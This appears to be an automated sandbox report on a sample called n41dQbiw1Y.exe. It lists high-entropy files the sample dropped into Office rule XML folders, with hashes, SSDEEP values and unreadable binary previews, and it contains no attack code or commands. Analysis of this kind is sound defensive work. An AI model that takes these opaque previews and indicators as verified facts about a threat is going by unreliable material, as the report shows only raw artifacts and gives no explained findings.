Preview:	.<?'.*./.:&Jq..eO..<s->..,...(..B.n8.......b...!8q3.hu..47....~.V5.TY~...]r.\|.YX.k.s.AK)S.0\|...2....@.Q!,........{E.v...v.......2v.......3.z.....O.^.........%....e...F..kE.A.HB..[...j.G-Y.:.../..0..-V.z.6.O..?.&...9.-.zu.A8.C....H^l,p......]>..8yR...H.m..D..n.../1..v8..%.}.u)h$..j.<q...q.r.c..K...QXp.9..0.!".'........-..1.2.l.p9.P.H...n.>.9.b_+...-.z.\..nhFot..FJ....-.}(..e._Y$.....-R.pD.........FC..(.g%6.U....U.v.Y,1...>..tA4..o.k.9...^..).............k#F.....<V.K;.....[.`/..>..!.%>>A.......@t...-Lo4..........P..Z<.T.....%.1;(,[0z[..A.xt..\..{.!..3.)..P...{..dd.a..+..R#.:Q...A`.w..3...C.7.7(.gX..mWyG6..'.._.A..........o].?...H?.Z.fF7.3mE.t\Y.._3p..hkd.ylIs....d......F8...NG..[.W.......5w......7..P...Z.E...V.x.. d.b....w..K..`M...n......I{m.B....8Hha...L....(+E...P....J.%x.......r....?.Q..5.(....G...........C....>.D.Q^"....k............h..Y..)...w...b. .;...{......Z~..0.b.C.C!....t^}...U=.......v....n.A.....=C...}..7...+..D.O."..\O!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.888900157630397
Encrypted:	false
SSDEEP:	48:f/ZZTLWcgGahh+MQZTd1W2O6lkfknKdfFrjDrOCXTbJZD:jTLWcGhhEZT391Kd9D5f7
MD5:	B2218E6BC4DFBD14BA9108F0AAA67973
SHA1:	D70CA2AF62117C49FC56F35DC3E6012D19D2E207
SHA-256:	EEF0D134A66E42961C56620562A17FE6F538CB82890558BD07DD3B8870918CC2
SHA-512:	0B6A85A2D65376D29C11554F7778428FF784E02C258B47F2EF0704BF3167723D3B0D6992919F43AD5222130E2CE660012EE03DD4A03DA52151D2E8CDA5357763
Malicious:	false
Preview:	.<?...t....x.....U...}.X.`..{..^....e.w..n.C...l..+..}.4.Uo..z,J.(Y.]..K$uA5.\|...sr@....-.._...1......W.v....&C.?.KS0.#JTY=.U).a.M.H.........~x....X.\.~...x...)%..2.kv.....K..oj.'.'^..o1nc..^J.....z...xIR...u.....\.....i`....X7....Q..0..TO..5......fGo...n.wM.S.s...'.R."u ./....,uR...[.......D~N..L.3C.Q.T.nw.....8B...$...@\...G(..9\|.4.b..^..y.r....pj...@.w.#i.."..Qj..5..Zc.....~.z2U...vgB._O...?K0..u...=..\|.Eh......_#...q...$".."..."3.6.KF....._..M. ...[.J...Tb@.jj.P..6..G..t.z....S.&.Bht.!ZEu...AK3....2..(I.2.s.K%..\|q. ...ca..1P.#...O.m..o..1..<C.<.....w..4.......d\.g..2.N_....LV.xf.`..K:[dt.....?"..........%..0...$......D.......vWJ.<...\.:%...#A..i.=.R....TE.....Z.k...'.Ji>m......(..{..b....\..ccw.n.6....?..P8...o..\|.:-.....69G.htWR'..q....sP.A;4.=)...U..........H...{.).r=..g..H...E....}>...+gH)~.......E....yXz....[}....3..........s...L.36.P...Pc.2.:.g.r..}.&eX)...%F....:.m....f.D;.P,:{$./.....n.......'.ga...f'.}.y...c...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.866886483176256
Encrypted:	false
SSDEEP:	48:vNO0q9eP6DsfsBaw6HpU/VJUgScsWFrmHFeVwBSmgD:j/fwa/JaJUgPBmleiom8
MD5:	704D798972943BDFA144DDE40C3EC5A6
SHA1:	D3D1BC053CCE5ED371F4F9E2C67606AADD64BA36
SHA-256:	D4EE24AAA22BC6F341A9535E5C35C6D88A49324E0502F21A55613EC86A9AA679
SHA-512:	D9EFF55CCEF3442CBEFA75F8694BE8448DF8EF16446F9935FA62A59E76A4586B77E3E675F5521E344D6B1BB03DB4B4A98CDA0DFD366AB0B2A3770BE1F38E1172
Malicious:	false
Preview:	.<?.7........E.H..0V..C2^%.+.i."...!...I4. e..a:....c>..\..A...m,K..:.....4.."A.J.8...&...S..K.....]..om...s#.8..{".7...ABqG..I.x.bA....Gs.;..'..<.5.AlB}Y...L.2....g.->0.....]..IK'6...........G>}...&i.:Y..[].-.Q.xCJ.s..z.F&......2.B(.....l...yN\|.x.nK....ss.&......#....}./..KO.u..z......i.a.......,.U..\|..<.E.a...1....L..e8..j~-..`.5.Jx..9.q.>.=.......D.I.b.....C\|....0-S..`..al...b...KP. .~0.q...P..z,..&.ou..4^.v.j...Kh.4.I?..\..'...mM.{....{.,.N....V..%.;-M.=.24<......o.sP\.........._....Qx>;.IM.N..%h.7..m......=...........<..2...:.0......aZ..5C._+..h.!F.Y.O..:..pt7......].$gP.-eg..z...._.W...,.....#............zYk_.s....r.rYT!.d.w...0........Y.tQm9.Ej...P..E..0;.7..I.'Z..Ws.8.....4....I......)n....0....h.yA..T.....fU._..'#..Mw..)...6)QV6.....=hL[-..t...?...Dy.j....p........S*f...<.3........ ....&.7.B..E\...-.;t...d...nM[......x..A.W".F8.l..../.v.I...T[.z~.1l...H.jo..[tK....-o..1>..p.`.....S..3....[ozt.b.a..8C6.eX..gT....4;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.884132860949191
Encrypted:	false
SSDEEP:	48:qrJMuMto8S8NjFe+FMb530IDhvueRgGIRJTwcpRnD:6fTlYjF5FM13VDhv+GIHs2d
MD5:	21391FD40D065EC1F3F01233BA5B66A2
SHA1:	D23C9558BAE3813D281FCF89EFA5AA60BF987B0C
SHA-256:	E8FE54049DFC26589AE0F2F82B488E0C3D5D08E22DE81EE9E9F49A124010AE41
SHA-512:	C175A275292D6F464E4E4F5115C9E68B635E1754718ED91C978CA992F0DEBAE5D3BD42663A4C4F77A59C0CC7736DC6D6E9768CB21AF6112D19D0CBED1525F857
Malicious:	false
Preview:	.<?.aE..+.......%5.n.T.".....%...\.....~..A..#3.^H`...!.q...J..}.....#h...lmU.{.Q.K........l].q}..'.S..mj.....h<..o(z>..#.?P.m9[....'.....4..$.q.....6.R.~Hc48o.+...&.M9&...<.9...T.._.....`...k9{.Qb....[......w..zU..z?.j-......w.....8lS.h.....r.8..u.g...K.s..d..\c....?.k...'e....l.-...N...WW..R.....U@..?.I...q.......t"..U....)<.;.M.....xy.B.!Y.~..E.G.1..4..R.xD....u...ZV....G.0..e.Ds...b....\|....}.>.a....+qZ.e.......T..lc-/.v.U...M^.1..c$.T...v......b..s.H.....?.O..wa... .g.b..Kuk1....R..C..+.r.\|Y'.e....n............r.;...V...e.8..KA....>..5......j......$..]u>..1{.kq.d).\.%E`.......H-U,....^.`.j.)^Rl...T.re..+..{..........M..}5.-'#@.5.......14@i@..l.4......D.....,...... bu..e..#...G.V..[-..aq..$.YmG.$..i.mW...S..K..EIj.P/.m.y...z..r8c..f....\|.0...8Y...Z....z+.. (..K.a.`Q`.c,.......].j.@@J.Q^I....,.6........c....Rh..#..68...\.....8.T......._.u..#(...a..3......lJu(..d.c....0...c.-.!t..Wz"H.C.CC.\W_......?....p.g.bc.91fo.D.E..{.pc../..PU.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.872238815030923
Encrypted:	false
SSDEEP:	48:4II+bGJNnYksVne+JAqZ5+BtrNoebm4LNtD:y+bG8ksXAqP+SeVNV
MD5:	C9859A95A28800DDAC9A7A222A36D914
SHA1:	EB0FDC7A9B6513B28823D65C93BBB528B2E7E50C
SHA-256:	15E97BCB472F7467A2D9A061084FF4B3134C22C0BED60E6CFD0E816B8C2B21DD
SHA-512:	FC246C133E008AD74699386C513CFA78F420C52712FDA688D44168BD2C50C248ECB2D69443A5B0180F9EC094280F39EA9522EBA71A491E206F322902BDB2C5E2
Malicious:	false
Preview:	<?xml"].5.....JFW.._..........."...F..h......]....:.V...'.Z..X....$..._...(.h/s.....< ...e."F;._.z.U.....0.HzaMr6..YiM...:...;...S..z.T.=.=....\|1.$....];%.HhLn6`.p..g.A.^C[..$F,pu...F.,O.Z.........q.t.^.._...A.....'].q..q.8....gE.<...}4.qm.S.]....G...}.P.p...E..\2YE.e..h$.\.$..^9.zxw:3."+O.~..D...a.......D..>....{..01.......Hw..R:HO.j.c........-\|.2...%.e.O.TF.....fh.....I1.......@e.{V..g..l ..1....e.j.!....:..9..T......-(.M.&...$..-...O6.5....x`RP....L........#.g.6.S..9HlvH..r.k..6.....#....5[%4.F.a`5.8..-t.]q&.C..&a.E...EM..QG.l.=.....SR. .s.Bbu.ff#.N.y.}...#b.i7.d].Pn...yBR...C.b'.)..<......I...(S....b?X-.l....;S..aT#.v.;...yA.@.]G.K;~%5.0=Q.r.nQ.8.7.nh......oP..Q)..#R....I..gD5gP.0....2.2..."..nb].......E2h.o.W....L.M..:v:...H ?.....+[:..#.B.....u.l,......y.0Y..g.]...0.NbS..C..9...b:.].Wp..Eg.u..We...E.]>\|..!U/.L.%...f....TQ."]....pnb......C..A=.;mga.c..>.o.R[t`.C..:....M...H..\@.I...1L... ..~....^_V\|.+.............K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.899921598273185
Encrypted:	false
SSDEEP:	48:+QwER13HP0ryGxTJivM6Q43Ek7mzW+LBV42e/g8QRpWXi7qD:+4FMrya9ivrrjgPtiLQRt7i
MD5:	3B9AE3579D506F57F8212A7CFE5DE99B
SHA1:	A0CC45F435B78C9BD88F889FC1CE20E01D20C62E
SHA-256:	1720655D82790530684250E82483B5A4D88ED9D9445595238CCB2983E1DAE892
SHA-512:	BD6BB3E80646424C2C60A7828B45A69D5CFE3CE9FA02940D1EBB5E611611E5200A20E5337C9F4B16548337F0E9A6F6C4758E7D872C43A1B117DF56FB1650DCDA
Malicious:	false
Preview:	<?xml...,q....X.........`....V..Db..N.".(\|.kIq.....s......A.HL..'n5F.x..=..0MR......p..P..........M......;.u..F.@..@k!T.(h)..."4.2!.Z....E.pl....4..Y.$..P..Y.-.S..:wo.Q.....g..uQ[.qG.-...%Di./..Fr.../[!...\.T.$A._a...7.....<...}..W....5...&....?.X..}.....o..N.^3..P&_$..yP}.{.-.....x...{...u......Sj.<.I...o.....W.JZ...m.....R..J...` &n..R....C.@.L..........\...EL{s....S...rPc..>..F.R7.{.E?.g.]o. .j.NeU...6..F....D3....c`.w..R.xV..j.?..8g-....>Q...@.v[..!.o.p.C...p..(.")..-?.=...=.....k._..{..\T=J.v......g.kT...BV.....B.....-3\|...gE......-8..p.B...?....."..ATvDW.V{.n(.z~0..6.....C).LPiN...n.0..U....W......\|.../I.q......(.;.(......#.#5S2b\....<&.q...G.....v..v.!..b.B...)........."....tH....0......01.......(.....es..KH.R....Dd.O.?L......+..v.X.5Y..U.0i...$..EY.....mf.jol?G....,.=.N...yB.[m .O....e.r%.Pv..Q...4..V...&..Sm.*z..`..w........d.K.$...>.....x...../Ae.s.6.UbuZ.S....cq{......w`Z.....%.8O..#.....G..Z....)..M.e!v..~.........Rn.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.851233889988794
Encrypted:	false
SSDEEP:	24:oJh/hxEmqeLrVET9tBwm4ab5zyoWYguA8/P6XYHocKlUlDMY8UQq+Y6PKbDvqF5B:oHbZpET9tB/5b9pi8/SXYIzowqBqm8VD
MD5:	1E9408E5C6EAA1355CBA434F0490350C
SHA1:	AC616C8EE598C6DF479A6413F269A2877F614573
SHA-256:	A6B5CBF47248D65E7C581E18DE3DEF5FCFE355E713B554D00D8C16C88451A1A7
SHA-512:	C8725415ABB40ADA501F3B762C7DEC02B8E57EF5E54577771E4F9E84B01328407066AA6D6B43AD49D7CCA0D012AECD74FD94217DF8CBF685530A1C8A19383D3C
Malicious:	false
Preview:	<?xml.`a.j6.~.]...]i~.!..&.8..?~..gd..G(......<..y.Je.dY......y.3.~n....n....=...,..s.).G..3H..fm.....P...G.E....i.@%....Af(M2.2....,......[{.o...^..kI.3...*.z..T/CP.[9...f>i.~.."...4....H/.2...N./.L.og.......A...$......N...w..M....:...Hxk..<.t...;.....p.a$".......g..@!.....::)...........SZG...`..-..U{.....$^P...m.A.A..I7.T.:.u.06^z\.........~'..N..7i.$8.Z......R}/HN.9;.S.,s.g..s{`........8..U....\4A.r...4D._....{..\|^..F..............O......,Qf`[.....j..V...&..R.,.qjv.-h...<.i..L.;u2....M_d..;z.>..3..[...[...q....uK_....)./_.B...GL...{..qz.=6+..1....~S .Lj...2l.nwx.fZ.M.....7.G....B.%dl....;.........%.Y.G.!.&.jE...yJ7.D.S.8.....dH....<.N...zl!.:...kz..O.9Yo..M...%...y D.......t&F.V......Z...t...d.q..3k..pLSiD...........rmm.......G._.....)H...@..6...#..%.8.w_"=.).@.sE .8d.\.p..\`.^..^rO`..5X)}......G.......r......@i.:...p1e.n.(..I<.js)3F..WY.Ij..T.z....Y....X..r..S....N...8.3.c.$...-.+6....c......n..L..S..T ..zy.r...n.....1..='C2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.939881855468675
Encrypted:	false
SSDEEP:	48:GghzTag2Jjh5lNKhFjhp6VYpPdZQ7Tr2HmSRCAn5nb5+jFoNd5EaCD:Ggh3ajLzNKrjP6SY7gNP5+qqD
MD5:	A1318F2D9494B785B356F71B3255C765
SHA1:	568E12AE1FAEE597FE8087FFF50C7599A03F7B81
SHA-256:	37FA30DD8D72A1CE5CB4FF16D40C04E39213059A628FC822164F24B3D19A580E
SHA-512:	1C3DA35E5D5F0B1C5400567FB47A8FC9C7E1A25D9346CAFAA44395ABA9C660564F9C2E0A3B72063770968393E4D220DF18C22EB26E79082C193A3E4664D01765
Malicious:	false
Preview:	<?xmlz.......9.8.6:...!..]Gh.n.C"C#......#.....'.i\.!!..lt.._"....?..U}KL..\....7=..}.....M.......X..........7B.../..[ohNC..VA......-Y.P'..yZ.V......#(._...,.......`..u..........({..E8N%..z..Z........:.G......S.Gx@.m........\|$g<BT.o.L..M..eZ).A..$0y.~I........\| )....r.$..n...R2....f.R"....%.....]OY.W...+..@w..;..e.W....N..F.p..~...j.zN9T.....e_..NL....#......j.S+r\|.`.2..ku.\|8&....a-..9.C!(.^.>% .c>8...;T1.4.]..x.i.X..=...v`.%-.h....S\-.z........T..l.T..a..UYI_..e~;.....y.....m...'....P..3i._.x.@<.Q....l........A..3........r-J....)'.K\|->....P]o.-!. gM....u...#I..L-8...J.A:..S..Gf..h.Q.%..6....r.e..oN.......L.uC6.5A.O/.yo&Y.....N>.wsY.?0'.....jwy..,. ..:L......R..K5.........%.........k......\|.."j...)I....16\|....9R.d)...k-....g...%.I.0.o2.....mjh....%_.r..a..).'O..w...s...&...3.....KuhE'.J$.....'...W%..^-..+...._...L.4rH..E?.s....:..<QN.>...s.WO1.$..?.?.n.=.\..\...._..[.....W..i=T..O..p..e...$..j....\|....'.\|....iu....s.(..V.[.+..^1:..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.885628836497774
Encrypted:	false
SSDEEP:	48:sVKsgmtZIHlhZF8gOw3v0uuar2rbR9SgY4bD:UKs3ZUhZeXw3v0ZarmO0
MD5:	06719C52C5762AD0F2F11327BDD3077B
SHA1:	4331295068E16BC66C34EE24226A26F19070766A
SHA-256:	8ABAE99514AA0CE01561886BABBCA59302E049E8E799214611A73F44B4813344
SHA-512:	80EF98E3F2CB205DCA76D772DDB2B581CC528AB5B962C3E3471337522A1E9E881884A941392D7917E2DDE6A44928ECB782FA1EB6F286B2DF25013323850AABF0
Malicious:	false
Preview:	<?xmlp.Y..z.$@........py.A.. T@ED..v..6..:.6....n5.b'<r 2..].z.[.7.J..3b.3......K>'.iJur\|..6....F......v.z0...R....Rb..\...K...i...h.K.....3. ww.%K....FBV}..K.F3..%&^8.2w....u..@`.{.&-R..'.0B.i.!..uD..._Sy..3.H....?D..^5..'pW.._..y.k..4.n7..3H......@...K...d.;..."....1C...~.mJS.(.R....`n......E...:..m/...u.. ..q..,..........P...........%<s.T.;....3!,;..n<<.I.w....._.I;Mo..Z.....h...I.......cw.....+...`..=i...Ga.......M..[C.s..LS.GyO..(.=L..`5.0=u_.F...Eq.V.....Z.E....7..........^.7.yGc..k.@X...d..\|{...\..(_...!.......u......L..._F/....W..........7z.'_b.".N?....i......Z.._.....L..d.z..9..^(.......4q,.e.ZN.\|.Z.q.yu....D.d..f....O...56..#k/.z.........D..8.\|^.G....[.};Qx2..0..J#.......e.\.<.......~<..`.i.......?.6....0.z...A3.\|.......6...xl....'M.E.mRQ......T$...m....E..fR)...g..n.V....w..}.=VF...h...-l....DYA.U...7...1's....d.....{..r......r> .m&_#.ua..V.....o.X1.&..........p$....$..?...dqK..[Sr..K.C.\...n........*o'......=~..q...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.910914649506281
Encrypted:	false
SSDEEP:	48:jXBYWwlXzLG78JaUNgkADa43ZQWnryNeFtswI9OfwM1NYZzD:WrzLm8VgkATpQWnG8Xi9
MD5:	773A8D2F0EA3F5F4E49FB9A5D7872ADD
SHA1:	71FBB68D1EE1B943EC83ED9250250498E2C83719
SHA-256:	467F36602752CF528293B24EBB1548CA73FF1599E760ECFD9389BCB73E0847CC
SHA-512:	85C37853E9A036F992331F4F3ED7ACC2FB8FB367B18AA3978BC9C4346C27101D6DE9D545D184C12B20C6031D0DC89262DED01EAAE08AE50B5EF0579800F7281C
Malicious:	false
Preview:	<?xml.............IR.:A.Kb.U._.......]....<8~....dJ...u..r._t..u..P.L.g.;...a.f...'0.1,....5.]...> .X.n.~....X.q... ... H...Q..6....df W..2...x.Tb.2m...G@.?.{........:....M.#...-...8=...m.?.......E.X'Pg.\|.Z...<..$.UGd.....c.7..\C.%.......".....$0...1......G.TL..%....bC..i.{o.Y-.@9.I-..u..s(o.t...q.s...^b..8..,.5y\... ...Ye[.......>%o..a.F..,..&..Md%.:.R%x..".J.....?~..o.\Vh....isc....9LH.^....C....Sx.d..]..5.5(..]...S.Md4G.......U.Y.5.O_...e5.;.kC.d...Y....Exb=.4I.G..TA..t....W.%.q.MUc..+.`o...k..E.;.R..Z..[...@..R.......2...f.~e0...sa!....R..-..@..a5......n.A...l^cB....s..}.X.C.n...#9.x(i.;.u..0..v...=t."..U.+.s..T....d...F.7bp.,.U..n......(....BDv.....caM..jP.MQ.$..8.._l..{...s.~F...b.......R.o.9K.!w...iJo.%7...!N..nN.w.8...r.C.y[sz\l.=..:I;....o..z....J......9...."zF..87..v,..I...;.......p...>.O.....h...ep..$..Y...*_.y.@.....S..-..8.../?d...)..R...zi...,M.........N.ZP.wC.......~A.We...rF.o.....O...M..!^_..'..;U...u..k.}.}...e.p<>0......J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.740119186275732
Encrypted:	false
SSDEEP:	24:IXfLVM/O9heduvTIRcskrSAA34AWjStNwkHCfbD:IXfDhuRkrSAAI1SNwiCDD
MD5:	8963AE5FE2335BF61655DB79B96648B7
SHA1:	B6CBB6BC07A00BE9A6409B7157026BE67C387533
SHA-256:	FFF34138D4587873FAEEBCE4270684C2FD5661220EC7EF7B495341F89134088E
SHA-512:	C2EDA533E43DD0F7A8C0A9A59FF6F76DE21D074DB0F6D5C2A759BD9A5F7922447989D08C29DEC17AC7128A8C359CA9628CB73ACDB9DB0A4D995576085D4303D7
Malicious:	false
Preview:	<?xml....'..,....wq..{U...U.&c....S.;:..1..O<...0...kJ......D"....hMyY...[.;.@zn......c29.`.<..];...K.aE......k..rE...Yf.^..!B'[.H.....cI8...1.Py...r..C:.I..e...M.}.s...C..$..#..0Z.-C4<.3.%a.H`...k..{..\{"..n.~.M.e.....!.q#....%.wp;!....E...:.Mp.^.i...'....r5.a..Qw...?.~7.,S[..h....e...>-..-V.?m.S..8g3q#.#......\|.....4".....\|...V..F..j....l.<k..e.S.....c...D.<...HM..n....$.Bk....av..>..0R.......AQ."'...c.f..1..Q...L...5..]lu.]c..nA.K. .......I\...V.T..O.........\|.V.....i....VP+%.6.Q......?.0.}v+.C..L[\|c.....>..j...._....o..uK./.F.66rw>.....=..t.J.1G..l....].9.....GF....Tw$s..........Q5w..,.c.W:.q.?iS.59&.S..IP.<F..G..x7....Ga..V...B.v0.+*.......M.e..b..P.....7...{x.M&7..R...@...F...Oi.t..R7E.I\.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.927912216507053
Encrypted:	false
SSDEEP:	48:xnAbCkaHBxRE5f5kDJ/I9z5TSkcmB6HsxfaOYJBXOOD:RpkaHBkwFQz5Tb+ga3JBb
MD5:	FED1FD1890BBA27992C36533F5CB1A8B
SHA1:	EBBF28995DDF0FB362A9899704D76D03C24D47DB
SHA-256:	44184F81890A7DBF8362247CF299A62BA2213B91E64F3A4AA26B83A7C84127FB
SHA-512:	75BCA186EE5A86DACBB037F1AEFD152F6A1B9C301FFD824F975BA5049E8D1FC4B61E99C8EEC4D0A38D44724B8216A7AC37B3246819202C5FE09CAEE54B5C2A7C
Malicious:	false
Preview:	<?xml...;....p..K.Y..{..VP[...G..s....3..8...). .q........^.V.b.G.[....O....wM...rr.w.y.......Y.Pk/?..=.s+..%>h&.T;\|0.0,....^<Xk.s.A.a.7.~h......(..k9.....HqQ;.u.:.>......Iw.Bh..`..s...b@!._yqal~i.........38l.6.^....-.... .s.}._s7.j...o.q^2q.k...t\.z.&....z3.b1?)..H.F../...(...M./.\|....m...&......[w.2!..wb.9.....Yi...(F.W. .3..3.x.9lUAA.....i...,.C"PQ.}... r.#...fIf...P..Sx..Z.-.+....ek%..uP9 .{...>...U.M.f..w5<...k..m...&k;,.W....D.5......~v4...!&...h.....Z..6.U..u....(....(...1.....J...g.^..d.C.}....b....<...........gx7.,T.f..@.T.....[wN(2.y.L.~...\.2?rZJ>I.+V..W..H..Gm.J@..W...S..........Q..U.ih..a.Nx...LuF......g.}.......[,....kE.!.F..E9..Ba....F7..("dJ...j.W.!r,"\|...c0tK...x................!......]aw.....7.].q..z.8.b.`.......x...._.0......wl@.-...O......"..i.w...p.. U..D..e.#...L......8X. .c.....A?....~.>....z.f.B....P.....k.bo..q.7.%S.........4..9._E.yg..#r.b.hi.Ul.z.e~..d./.8{^....y.*._..Y.......X..)..(....1s@.$Y$!I@......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.749573924926994
Encrypted:	false
SSDEEP:	12:a37Khu7Gdqa7/vmygQOb8jBM8l7STeABId6qfKbm4Y+gGOc3kuYcii9a:a37HJWOfYjhzAQBfzMxWbD
MD5:	B8AC5BAE38117F586F4151B8493DE012
SHA1:	3E3BF22A46A903EF75E9E5F2FDFD1BA8DF0A0B4C
SHA-256:	C5F9FE20EC9E3D54CB254ED1E3670BCE529ACE62671A161F6B767F2243011652
SHA-512:	26D0106FC6193B59F5801138A67FE780E106583A7D514FFBED1B4DC136440CF956E840E28C53B63EEBB5EDF8260671F9334776B695383C5D9FB7AACC50F3568D
Malicious:	false
Preview:	<?xml.6.>.J..4+.!..[.....X..m,Pb(..............Sk.%..6^.}...\...7.?...x]...r...j..:P.I...dg...El..v..!..7.i...>...-s.1Q.......71.].... ]O..z..$z..>.!j.b..<.{....T...?.q./bbO..HRy.pO..S..>{.I......{z#.U%..v..O)...(....X.......+`.J.v@.0...KY..?V....exN.3sWp.`..!Hq....&kCN..jC;..4.M.M...0...[h$....o\....s..k.lC..H>.]..8..S.k......V.....O......9..u.....o.A..s.C.L......d.%.7.z....sAT.......O..nU.AO...5.......Wn.B.S....(T.s.z&M..Rg"X).r...........a.. ...S..........\.}xo{.w....<E..uOz.c.?A.h'....#../_..kP"....q.6 }.t2....L. ...\|...m7.);:....R.?.I...C..}`s\|....o..H.;.X..[.`.._D$....t.....o<......C.w...):...W..."g...On.)wo..zl.I9ym.....#.2.8..;Y."...f1.-....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.941047294439121
Encrypted:	false
SSDEEP:	48:5uQrrtD6seM6cU3ue4LyVTtWJX5GkSOjhT/cE2BgQA1TyE3psbPvlm9ND:5/pl6cTLLBjCdj0yE3mDa1
MD5:	00AC9B6D27EFDE600CCC1FEEDA0F1B79
SHA1:	E7C8F39A09DB1F30387D91EB0530593946BBEF7B
SHA-256:	81DF8A052FCC17045BD2FA62099F0D41B94355C2798927B7A72A08C8ED2AC84C
SHA-512:	2B8F560383F6B54B708A1CCE4E9E37D18225B7920EB6FDCB9AB0D51F2363CB1F772207C67E70E7437DCF0721F5BBCBCD96ECE8D7C7220E4A791C2C67B3410E7E
Malicious:	false
Preview:	<?xml..n.>.@.....mU.Xx.f..<n......O2.y..G/\w..L..[......!v...7...,^.......d..7?.aNX,......O A"f#f...R...+S..+.._..BK.q6$t..>.>.\|[H...-o..A.rh1b[...W..:0.-....&...H...j......;Z._..X..D..N.;V.....PGGq....`[..6..Q.(.3..a\G.'4;..H....DpC.....t..q..... ..=e~X65 ......+..!...........<"?-.2./...`.e.J.s&..h.$..f...:'k....W...e[@ZgJK1.....@/lg..S.g.8.k...!..(......n...>..&F.j.C....S.,...(....I.....M...h.0.8_.}QK.i.............:=..........G.F..Km.)WW..R.p....K./..=NE..Ey....Z..E.>a[....-X.5.;j...v.....z...)..eC.P..u....t....x.#l.{....!X.........g/..\|.\........2.c..M.#.}5dr.7(.kZ..C6..`i....~.9....i8,.x...t.d......8U./............%/.v....]rq.Zsu._W.T.;.r...C...\|...ekDw..K...rv.....B..<..9...$.h.x.j...Y.........]...A._m..W.............?.T$$!,..#.j.%}....>.6..SA...o..q6.4i.qfe...Bj.x+HYj.H iJ..i...;..V?%e.....8WV.:=Z.~.X.~...l.......AysD...`~x...."..-.=2V....^...>Hm........J........h..e.8...}O.....{.......G...........8..= ..X+....rm.c.b...G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.930480053957927
Encrypted:	false
SSDEEP:	48:YPuZvT/4MuV7RBdM6Le3/NJdFcLQ5F41pO0rJQD6YG+gUHF37K4dGilonicOuuiu:YPRvlRzM6y/NzmYF41U0rJQzld5K4dt3
MD5:	04F0F1BB5936AD9E0C2E5E78F591BEAD
SHA1:	80085C07B2516AB3F5214F6341CC19481A65209B
SHA-256:	72DB05F8B294F4BCB4A12F8039763CEAAD69A6F020F48297D242D29407D2D484
SHA-512:	C5CF15EE6591D9CC51489D5EB93F3FFAEF1EE35E12009893989AFDDA3F8B76129E9EEB5C29348840A773238FB9F19EB488996CAB691D4F25A9473460D4025071
Malicious:	false
